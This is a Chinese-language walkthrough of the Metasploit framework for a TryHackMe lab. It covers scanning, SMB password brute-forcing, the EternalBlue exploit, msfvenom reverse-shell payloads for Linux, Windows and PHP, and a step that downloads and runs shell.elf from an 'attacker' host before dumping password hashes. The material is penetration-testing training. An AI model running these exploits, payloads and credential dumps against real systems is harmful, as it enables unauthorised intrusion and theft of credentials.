Metasploit 渗透测试框架实战指南
相关实验环境:TryHackMe Metasploit Exploitation Room
概述
本文将深入探讨如何运用 Metasploit 框架进行系统扫描、漏洞分析及安全利用。同时介绍其内置数据库功能如何提升大型渗透项目的管理效率,并详细说明 msfvenom 工具生成各类载荷的方法,以及在多种平台部署 Meterpreter 会话的技术。
主要内容包括:
- 目标系统的端口与服务探测
- Metasploit 数据库功能的应用
- 自动化漏洞扫描技术
- 服务漏洞的实际利用过程
- Msfvenom 载荷生成与部署策略
对于涉及字典文件的任务(如暴力破解),推荐使用 AttackBox 提供的词典:
/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
目标侦察与端口扫描
基础理论
端口探测
Metasploit 内置多个端口扫描模块,可通过 search portscan 查找:
msf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
1 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
2 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
3 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
常用配置参数:
- CONCURRENCY: 并发扫描连接数
- PORTS: 扫描端口范围(注意与 Nmap 默认行为差异)
- RHOSTS: 目标主机地址
- THREADS: 扫描线程数量
也可直接在 msfconsole 中调用 nmap:
msf6 > nmap -sS 10.10.12.229
UDP 服务探测
使用 scanner/discovery/udp_sweep 快速识别 UDP 服务:
msf6 auxiliary(scanner/discovery/udp_sweep) > run
[*] Discovered NetBIOS on 10.10.12.229:137
SMB 服务分析
SMB 扫描模块在内网渗透中极为重要:
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1
实践操作
端口扫描执行流程:
search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.43.5
set THREADS 4
run
NetBIOS 服务识别:
search netbios/nbname
use auxiliary/scanner/netbios/nbname
set RHOSTS 10.10.43.5
run
SMB 登录爆破(已知用户名 penny):
search smb_login
use auxiliary/scanner/smb/smb_login
set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
set SMBUser penny
set RHOSTS 10.10.43.5
run
Metasploit 数据库管理
核心概念
数据库功能主要用于多目标项目管理,避免参数混淆。
启动 PostgreSQL 并初始化数据库:
systemctl start postgresql
msfdb init
验证数据库连接状态:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
工作区管理:
workspace # 列出工作区
workspace -a target_project # 创建新工作区
workspace target_project # 切换工作区
集成 Nmap 扫描(结果自动入库):
db_nmap -sV -p- 10.10.128.9
查询扫描结果:
hosts # 显示发现主机
services # 显示开放服务
批量设置目标:
hosts -R # 将所有主机填入 RHOSTS
漏洞扫描与分析
扫描原理
Metasploit 能快速定位"易攻击点",这些漏洞往往能快速获取系统访问权限。
以 VNC 服务为例:
use auxiliary/scanner/vnc/
show auxiliary/scanner/vnc/
use auxiliary/scanner/vnc/vnc_none_auth
info
SMTP 服务探测
use auxiliary/scanner/smtp/
use auxiliary/scanner/smtp/smtp_enum
info
漏洞利用技术
基础流程
Metasploit 的 exploit 模块是核心组件:
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show payloads
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.161.57
set RHOSTS 10.10.173.8
exploit
会话管理:
sessions -l # 列出活动会话
sessions -i 1 # 交互指定会话
Msfvenom 载荷生成
工具概述
Msfvenom 集成了载荷生成与编码功能,支持多种格式与平台。
查看支持格式:
msfvenom --list formats
常用载荷示例
Linux ELF 格式:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f elf > shell.elf
Windows EXE 格式:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f exe > shell.exe
PHP 脚本格式:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=4444 -f raw > shell.php
载荷处理
使用 multi/handler 接收反向连接:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.163.171
set LPORT 4444
run
实战部署
在目标系统执行载荷:
wget http://attacker:9000/shell.elf
chmod +x shell.elf
./shell.elf
获取系统凭证:
run post/linux/gather/hashdump